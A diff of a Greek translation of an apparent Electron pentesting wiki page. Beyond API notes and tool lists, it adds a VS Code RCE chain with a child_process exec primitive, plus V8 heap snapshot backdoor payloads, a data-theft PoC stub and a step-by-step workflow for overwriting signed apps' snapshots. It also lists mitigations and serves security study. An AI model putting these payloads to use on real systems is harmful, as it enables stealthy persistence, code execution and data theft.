- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε **προσαρμοσμένο μονοπάτι** και **ορίσματα** αν χρειαστεί.
|
||||
- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειάζεται.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Προσθέτει** εργασίες στην κατηγορία **Tasks** στο **Jump List** (στα Windows). Κάθε εργασία μπορεί να ελέγχει πώς **εκκινείται** η εφαρμογή ή ποια **ορίσματα** περνιούνται.
|
||||
- **Προσθέτει** εργασίες στην **Tasks category** στο **Jump List** (στα Windows). Κάθε εργασία μπορεί να ελέγχει πώς η εφαρμογή **εκκινείται** ή ποιες **παραμέτρους** περνιούνται.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Εισάγει** ένα **PKCS#12 certificate** στο **certificate store** του συστήματος (μόνο Linux). Ένας **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
|
||||
- **Εισάγει** ένα **PKCS#12 certificate** στην **αποθήκη πιστοποιητικών** του συστήματος (μόνο Linux). Ένας **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Μετακινεί** την εφαρμογή στο **Applications folder** (στο macOS). Βοηθά να εξασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
|
||||
- **Μετακινεί** την εφαρμογή στον **Applications folder** (σε macOS). Βοηθά να εξασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Ορίζει** ή **αφαιρεί** ένα **προσαρμοσμένο Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς οι εργασίες εμφανίζονται στον χρήστη.
|
||||
- **Ορίζει** ή **αφαιρεί** μια **custom Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς εμφανίζονται οι εργασίες στον χρήστη.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Διαμορφώνει** ποια **εκτελέσιμα** εκκινούν κατά το **login** μαζί με τις **επιλογές** τους (μόνο macOS και Windows).
|
||||
- **Ρυθμίζει** ποια **εκτελέσιμα** εκκινούν κατά την **είσοδο** μαζί με τις **επιλογές** τους (μόνο macOS και Windows).
|
||||
|
||||
Example:
|
||||
Παράδειγμα:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences μονάδα
|
||||
## systemPreferences module
|
||||
|
||||
Το **κύριο API** για πρόσβαση στις προτιμήσεις συστήματος και **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, και **setUserDefault** είναι όλες **μέρος** αυτής της μονάδας.
|
||||
Η **κύρια API** για την πρόσβαση στις προτιμήσεις συστήματος και την **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, και **setUserDefault** είναι όλες **μέρος αυτού** του module.
|
||||
|
||||
**Παράδειγμα χρήσης:**
|
||||
```javascript
|
||||
@ -367,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Ακούει** για **εγγενείς ειδοποιήσεις macOS** χρησιμοποιώντας NSDistributedNotificationCenter.
|
||||
* **Παρακολουθεί** για **native macOS notifications** χρησιμοποιώντας NSDistributedNotificationCenter.
|
||||
* Πριν από το **macOS Catalina**, μπορούσατε να sniff **όλες** τις διανεμημένες ειδοποιήσεις περνώντας **nil** στο CFNotificationCenterAddObserver.
|
||||
* Μετά το **Catalina / Big Sur**, οι sandboxed εφαρμογές μπορούν ακόμα να **εγγραφούν** σε **πολλά συμβάντα** (π.χ. **κλείδωμα/ξεκλείδωμα οθόνης**, **mounts δίσκων**, **δραστηριότητα δικτύου**, κ.λπ.) καταχωρώντας ειδοποιήσεις **κατά όνομα**.
|
||||
* Μετά το **Catalina / Big Sur**, οι sandboxed apps μπορούν ακόμα να **subscribe** σε **many events** (για παράδειγμα, **screen locks/unlocks**, **volume mounts**, **network activity**, κ.λπ.) εγγράφοντας ειδοποιήσεις **by name**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Επικοινωνεί** με **NSUserDefaults**, που αποθηκεύει προτιμήσεις **εφαρμογής** ή **global** στο macOS.
|
||||
* **Interacts** με **NSUserDefaults**, που αποθηκεύει **application** ή **global** προτιμήσεις στο macOS.
|
||||
|
||||
* Η **getUserDefault** μπορεί να **ανακτήσει** ευαίσθητες πληροφορίες, όπως **πρόσφατες τοποθεσίες αρχείων** ή **γεωγραφική τοποθεσία του χρήστη**.
|
||||
* **getUserDefault** μπορεί να **retrieve** ευαίσθητες πληροφορίες, όπως **recent file locations** ή **user’s geographic location**.
|
||||
|
||||
* Η **setUserDefault** μπορεί να **τροποποιήσει** αυτές τις προτιμήσεις, επηρεάζοντας ενδεχομένως την **διαμόρφωση** μιας εφαρμογής.
|
||||
* **setUserDefault** μπορεί να **modify** αυτές τις προτιμήσεις, επηρεάζοντας ενδεχομένως την **configuration** μιας εφαρμογής.
|
||||
|
||||
* Σε **παλαιότερες εκδόσεις του Electron** (πριν το v8.3.0), μόνο το **standard suite** των NSUserDefaults ήταν **προσβάσιμο**.
|
||||
* Σε **παλαιότερες εκδόσεις του Electron** (πριν το v8.3.0), μόνο το **standard suite** του NSUserDefaults ήταν **accessible**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
This function shows the given file in a file manager, which **could automatically execute the file**.
|
||||
Αυτή η συνάρτηση δείχνει το δοθέν αρχείο σε έναν file manager, ο οποίος **could automatically execute the file**.
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Content Security Policy (CSP)** για να **αποτρέπουν** XSS attacks. Η **CSP** είναι ένα **security standard** που βοηθά να **αποτρέπεται** η **εκτέλεση** **μη αξιόπιστου κώδικα** στον browser.
|
||||
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Content Security Policy (CSP)** για να **prevent XSS attacks**. Η **CSP** είναι ένα **security standard** που βοηθά στο να **prevent** την **execution** του **untrusted code** στον browser.
|
||||
|
||||
Συνήθως **διαμορφώνεται** στο αρχείο **`main.js`** ή στο πρότυπο **`index.html`**, με την CSP μέσα σε ένα **meta tag**.
|
||||
Συνήθως **configured** στο αρχείο **`main.js`** ή στο πρότυπο **`index.html`** με την CSP μέσα σε ένα **meta tag**.
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
For more information check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για να εντοπίζει misconfigurations και security anti-patterns σε εφαρμογές βασισμένες σε Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα open source plugin για VS Code για εφαρμογές Electron που χρησιμοποιεί Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για έλεγχο ευάλωτων third party βιβλιοθηκών
|
||||
Αυτή η πραγματική αλυσίδα επηρέασε το Visual Studio Code 1.63 (CVE-2021-43908) και δείχνει πώς ένα single markdown-driven XSS σε ένα webview μπορεί να κλιμακωθεί σε πλήρες RCE όταν το CSP, το postMessage και οι scheme handlers είναι misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Επισκόπηση αλυσίδας επίθεσης
|
||||
- Πρώτο XSS μέσω webview CSP: Το παραγόμενο CSP περιείχε `style-src 'self' 'unsafe-inline'`, επιτρέποντας inline/style-based injection σε ένα `vscode-webview://` context. Το payload beaconed στο `/stealID` για να exfiltrate το target webview’s extensionId.
|
||||
- Κατασκευή του URL του target webview: Χρησιμοποιώντας το leaked ID για να χτίσουν `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Δεύτερο XSS μέσω εμπιστοσύνης στο postMessage: Το εξωτερικό webview trusted `window.postMessage` χωρίς αυστηρούς ελέγχους origin/type και φόρτωσε attacker HTML με `allowScripts: true`.
|
||||
- Τοπικό φόρτωμα αρχείων μέσω rewriting scheme/path: Το payload επαναέγραψε `file:///...` σε `vscode-file://vscode-app/...` και αντάλλαξε `exploit.md` με `RCE.html`, εκμεταλλευόμενο αδύνατο έλεγχο διαδρομών για να φορτώσει ένα privileged local resource.
|
||||
- RCE σε Node-enabled context: Το φορτωμένο HTML εκτελέστηκε με διαθέσιμες Node APIs, παρέχοντας εκτέλεση εντολών OS.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
// RCE.html (executed in a Node-enabled webview context)
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Related reading on postMessage trust issues:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Εργαλεία**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για τον εντοπισμό misconfigurations και security anti-patterns σε εφαρμογές που βασίζονται σε Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα open source VS Code plugin για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για τον έλεγχο ευάλωτων third-party βιβλιοθηκών
|
||||
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε
|
||||
|
||||
## Labs
|
||||
## Εργαστήρια
|
||||
|
||||
Στο [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) θα βρείτε ένα lab για να εκμεταλλευτείτε ευάλωτες εφαρμογές Electron.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) μπορείτε να βρείτε ένα lab για να εκμεταλλευτείτε ευάλωτες εφαρμογές Electron.
|
||||
|
||||
Μερικές εντολές που θα σας βοηθήσουν με το lab:
|
||||
Κάποιες εντολές που θα σας βοηθήσουν με το εργαστήριο:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -437,18 +460,18 @@ npm start
|
||||
```
|
||||
## Τοπικό backdooring μέσω V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Εφαρμογές βασισμένες σε Electron και Chromium απο-σειριαλοποιούν ένα prebuilt V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, και προαιρετικά browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, τα integrity fuses του Electron δεν αντιμετώπιζαν αυτά τα snapshots ως executable content, οπότε διέφευγαν τόσο την επιβολή ακεραιότητας με βάση fuses όσο και τους OS code-signing ελέγχους. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε εγκατάσταση με δυνατότητα εγγραφής από τον χρήστη παρείχε stealthy, persistent code execution μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα signed binaries ή το ASAR.
|
||||
Οι εφαρμογές βασισμένες σε Electron και Chromium απο-σειριοποιούν ένα προκατασκευασμένο V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, και προαιρετικά browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, τα integrity fuses του Electron δεν αντιμετώπιζαν αυτά τα snapshots ως εκτελέσιμο περιεχόμενο, οπότε διέφευγαν τόσο την επιβολή ακεραιότητας με fuse όσο και τους ελέγχους code-signing του OS. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε μία εγκατάσταση εγγράψιμη από τον χρήστη παρείχε κρυφή, επίμονη εκτέλεση κώδικα μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα υπογεγραμμένα binaries ή το ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation και OnlyLoadAppFromAsar επικυρώνουν το app JavaScript μέσα στο ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Το Chromium αντίστοιχα δεν κάνει integrity-check στα snapshots.
|
||||
- Attack preconditions: Τοπική εγγραφή αρχείου στο directory εγκατάστασης της εφαρμογής. Αυτό είναι κοινό σε συστήματα όπου Electron apps ή Chromium browsers εγκαθίστανται σε user-writable paths (π.χ. %AppData%\Local στα Windows; /Applications με caveats στο macOS).
|
||||
- Effect: Αξιόπιστη εκτέλεση attacker JavaScript σε οποιοδήποτε isolate με το clobbering ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας persistence και αποφυγή των code-signing ελέγχων.
|
||||
- Affected surface: Electron apps (ακόμα και με fuses enabled) και Chromium-based browsers που φορτώνουν snapshots από user-writable locations.
|
||||
- Integrity gap: Τα EnableEmbeddedAsarIntegrityValidation και OnlyLoadAppFromAsar επικυρώνουν το app JavaScript μέσα στο ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Το Chromium παρόμοια δεν ελέγχει την ακεραιότητα των snapshots.
|
||||
- Attack preconditions: Τοπική εγγραφή αρχείων στον κατάλογο εγκατάστασης της εφαρμογής. Αυτό είναι συνηθισμένο σε συστήματα όπου οι Electron apps ή οι Chromium browsers είναι εγκαταστημένοι σε διαδρομές εγγράψιμες από τον χρήστη (π.χ., %AppData%\Local στα Windows; /Applications με επιφυλάξεις σε macOS).
|
||||
- Effect: Αξιόπιστη εκτέλεση κακόβουλου JavaScript σε οποιοδήποτε isolate με την υπεργραφή ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας persistence και αποφυγή των ελέγχων code-signing.
|
||||
- Affected surface: Electron apps (ακόμη και με fuses enabled) και Chromium-based browsers που φορτώνουν snapshots από διαδρομές εγγράψιμες από τον χρήστη.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Παράδειγμα ελάχιστου payload (αποδείξτε την εκτέλεση προκαλώντας ένα crash)
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
@ -463,10 +486,10 @@ throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (εκτέλεση διαφορετικού κώδικα στο main έναντι του renderer)
|
||||
- Ανίχνευση main process: Node-only globals όπως process.pid, process.binding(), ή process.dlopen υπάρχουν στο main process isolate.
|
||||
- Ανίχνευση Browser/renderer: Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε περιβάλλον εγγράφου.
|
||||
- Main process detection: Τα Node-only globals όπως process.pid, process.binding(), ή process.dlopen είναι παρόντα στο main process isolate.
|
||||
- Browser/renderer detection: Τα Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε περιβάλλον εγγράφου.
|
||||
|
||||
Παράδειγμα gadget που διερευνά τις Node δυνατότητες της main process μία φορά
|
||||
Παράδειγμα gadget που ελέγχει τις δυνατότητες του main-process Node μία φορά
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -495,7 +518,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context PoC κλοπής δεδομένων (π.χ., Slack)
|
||||
PoC κλοπής δεδομένων σε Renderer/browser-context (π.χ. Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -520,26 +543,30 @@ return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Operator workflow
|
||||
1) Γράψτε το payload.js που υποκαθιστά ένα κοινό builtin (π.χ., Array.isArray) και προαιρετικά διακλαδίζεται ανά isolate.
|
||||
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Επικαλύψτε τα snapshot αρχεία της στοχευόμενης εφαρμογής:
|
||||
- v8_context_snapshot.bin (used πάντα)
|
||||
- browser_v8_context_snapshot.bin (αν χρησιμοποιείται το LoadBrowserProcessSpecificV8Snapshot fuse)
|
||||
4) Εκκινήστε την εφαρμογή· το gadget εκτελείται όποτε χρησιμοποιείται το επιλεγμένο builtin.
|
||||
3) Overwrite the target application’s snapshot file(s):
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
||||
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Τα snapshot files δεν αντιμετωπίζονται ως native executables από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα fuses του Electron ή τους μηχανισμούς ακεραιότητας του Chromium.
|
||||
- Persistence: Η αντικατάσταση του snapshot σε εγκατάσταση εγγράψιμη από τον χρήστη συνήθως επιβιώνει επανεκκινήσεων της εφαρμογής και μοιάζει με υπογεγραμμένη, νόμιμη εφαρμογή.
|
||||
- Chromium browsers: Η ίδια ιδέα παραποίησης εφαρμόζεται σε Chrome/derivatives που είναι εγκατεστημένα σε τοποθεσίες εγγράψιμες από τον χρήστη. Το Chrome διαθέτει άλλες μετρήσεις ακεραιότητας αλλά ρητά εξαιρεί τις physically local attacks από το threat model του.
|
||||
- Integrity/signature bypass: Τα αρχεία snapshot δεν αντιμετωπίζονται ως εγγενή εκτελέσιμα αρχεία από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα Electron’s fuses ή τους μηχανισμούς ακεραιότητας του Chromium.
|
||||
- Persistence: Η αντικατάσταση του snapshot σε μια εγκατάσταση όπου ο χρήστης έχει δικαιώματα εγγραφής συνήθως επιβιώνει από επανεκκινήσεις της εφαρμογής και μοιάζει σαν μια υπογεγραμμένη, νόμιμη εφαρμογή.
|
||||
- Chromium browsers: Το ίδιο concept παραποίησης εφαρμόζεται σε Chrome/derivatives εγκατεστημένα σε τοποθεσίες όπου ο χρήστης έχει δικαιώματα εγγραφής. Το Chrome διαθέτει άλλες μετριάσεις ακεραιότητας αλλά ρητά εξαιρεί φυσικά τοπικές επιθέσεις από το threat model του.
|
||||
|
||||
Detection and mitigations
|
||||
- Θεωρήστε τα snapshots ως εκτελέσιμο περιεχόμενο και συμπεριλάβετέ τα στην επιβολή ακεραιότητας (CVE-2025-55305 fix).
|
||||
- Προτιμήστε τοποθεσίες εγκατάστασης εγγράψιμες μόνο από admin; καθορίστε baseline και παρακολουθείτε hashes για v8_context_snapshot.bin και browser_v8_context_snapshot.bin.
|
||||
- Εντοπίστε early-runtime υποκατάσταση builtins και απρόσμενες αλλαγές στα snapshot; ειδοποιήστε όταν τα deserialized snapshots δεν ταιριάζουν με τις αναμενόμενες τιμές.
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **References**
|
||||
## **Αναφορές**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
@ -549,7 +576,6 @@ Detection and mitigations
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
|
Loading…
x
Reference in New Issue
Block a user